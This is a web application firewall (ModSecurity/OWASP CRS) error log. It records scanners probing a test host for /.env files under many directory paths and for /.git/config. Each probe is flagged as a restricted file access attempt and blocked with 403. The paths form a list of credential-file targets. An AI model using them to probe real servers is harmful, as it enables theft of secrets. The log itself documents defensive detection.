[Wed Oct 01 11:03:03.519967 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.745073 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.745530 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.745688 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.971348 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /en/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.971801 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.971982 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.197630 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tools/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.198107 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.198297 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.423430 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.423906 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.424101 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.649522 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.649986 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.650168 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.876519 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.877002 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:04.877190 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aNzuSCvYtAD5qsA3PJMy9wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:05.102201 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aNzuSSvYtAD5qsA3PJMy-AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:05.102689 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aNzuSSvYtAD5qsA3PJMy-AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:05.102870 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aNzuSSvYtAD5qsA3PJMy-AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 19:32:38.944241 2025] [:error] [pid 3158653] [client 213.209.157.232:54418] [client 213.209.157.232] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN1lthrr5F5eVs3G9mcYjQAAABE"]
[Wed Oct 01 19:32:38.944565 2025] [:error] [pid 3158653] [client 213.209.157.232:54418] [client 213.209.157.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN1lthrr5F5eVs3G9mcYjQAAABE"]
[Wed Oct 01 19:32:38.944720 2025] [:error] [pid 3158653] [client 213.209.157.232:54418] [client 213.209.157.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN1lthrr5F5eVs3G9mcYjQAAABE"]
[Wed Oct 01 22:50:19.651439 2025] [:error] [pid 3158660] [client 196.251.88.64:43300] [client 196.251.88.64] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN2UCz3qPzC6cFE1YYQoEwAAABg"]
[Wed Oct 01 22:50:19.651726 2025] [:error] [pid 3158660] [client 196.251.88.64:43300] [client 196.251.88.64] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN2UCz3qPzC6cFE1YYQoEwAAABg"]
[Wed Oct 01 22:50:19.651878 2025] [:error] [pid 3158660] [client 196.251.88.64:43300] [client 196.251.88.64] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN2UCz3qPzC6cFE1YYQoEwAAABg"]
[Wed Oct 01 23:30:44.728034 2025] [:error] [pid 3162996] [client 185.177.72.21:56636] [client 185.177.72.21] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN2dhMGJUWMTiMVHGcCJUwAAAAI"]
[Wed Oct 01 23:30:44.728269 2025] [:error] [pid 3162996] [client 185.177.72.21:56636] [client 185.177.72.21] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN2dhMGJUWMTiMVHGcCJUwAAAAI"]
[Wed Oct 01 23:30:44.728439 2025] [:error] [pid 3162996] [client 185.177.72.21:56636] [client 185.177.72.21] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aN2dhMGJUWMTiMVHGcCJUwAAAAI"]
[Wed Oct 01 23:30:44.843041 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imAAAAAE"]
[Wed Oct 01 23:30:44.843279 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imAAAAAE"]
[Wed Oct 01 23:30:44.843456 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imAAAAAE"]
[Wed Oct 01 23:30:44.869727 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imQAAAAE"]
[Wed Oct 01 23:30:44.869928 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imQAAAAE"]
[Wed Oct 01 23:30:44.870079 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imQAAAAE"]
[Wed Oct 01 23:30:44.896125 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imgAAAAE"]
[Wed Oct 01 23:30:44.896318 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imgAAAAE"]
[Wed Oct 01 23:30:44.896466 2025] [:error] [pid 3162995] [client 185.177.72.21:56650] [client 185.177.72.21] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aN2dhNrRjgT6rfaptm0imgAAAAE"]
